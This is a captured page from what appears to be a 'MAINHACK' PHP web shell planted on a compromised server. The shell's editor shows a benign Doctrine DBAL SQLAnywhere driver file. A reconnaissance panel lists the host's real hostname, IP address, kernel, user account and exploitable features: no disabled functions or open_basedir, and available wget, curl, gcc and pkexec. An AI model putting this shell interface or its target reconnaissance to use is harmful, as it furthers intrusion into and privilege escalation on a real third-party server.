[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Driver.php
<?php namespace Doctrine\DBAL\Driver\SQLAnywhere; use Doctrine\DBAL\Driver\AbstractSQLAnywhereDriver; use Doctrine\DBAL\Exception; use Doctrine\Deprecations\Deprecation; use function array_keys; use function array_map; use function implode; /** * A Doctrine DBAL driver for the SAP Sybase SQL Anywhere PHP extension. * * @deprecated Support for SQLAnywhere will be removed in 3.0. */ class Driver extends AbstractSQLAnywhereDriver { /** * {@inheritdoc} * * @throws Exception If there was a problem establishing the connection. */ public function connect(array $params, $username = null, $password = null, array $driverOptions = []) { try { return new SQLAnywhereConnection( $this->buildDsn( $params['host'] ?? null, $params['port'] ?? null, $params['server'] ?? null, $params['dbname'] ?? null, $username, $password, $driverOptions ), $params['persistent'] ?? false ); } catch (SQLAnywhereException $e) { throw Exception::driverException($this, $e); } } /** * {@inheritdoc} * * @deprecated */ public function getName() { Deprecation::trigger( 'doctrine/dbal', 'https://github.com/doctrine/dbal/issues/3580', 'Driver::getName() is deprecated' ); return 'sqlanywhere'; } /** * Build the connection string for given connection parameters and driver options. * * @param string|null $host Host address to connect to. * @param int|null $port Port to use for the connection (default to SQL Anywhere standard port 2638). * @param string|null $server Database server name on the host to connect to. * SQL Anywhere allows multiple database server instances on the same host, * therefore specifying the server instance name to use is mandatory. * @param string|null $dbname Name of the database on the server instance to connect to. * @param string $username User name to use for connection authentication. * @param string $password Password to use for connection authentication. * @param mixed[] $driverOptions Additional parameters to use for the connection. * * @return string */ private function buildDsn( $host, $port, $server, $dbname, $username = null, $password = null, array $driverOptions = [] ) { $host = $host ?: 'localhost'; $port = $port ?: 2638; if (! empty($server)) { $server = ';ServerName=' . $server; } return 'HOST=' . $host . ':' . $port . $server . ';DBN=' . $dbname . ';UID=' . $username . ';PWD=' . $password . ';' . implode( ';', array_map(static function ($key, $value) { return $key . '=' . $value; }, array_keys($driverOptions), $driverOptions) ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.37 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002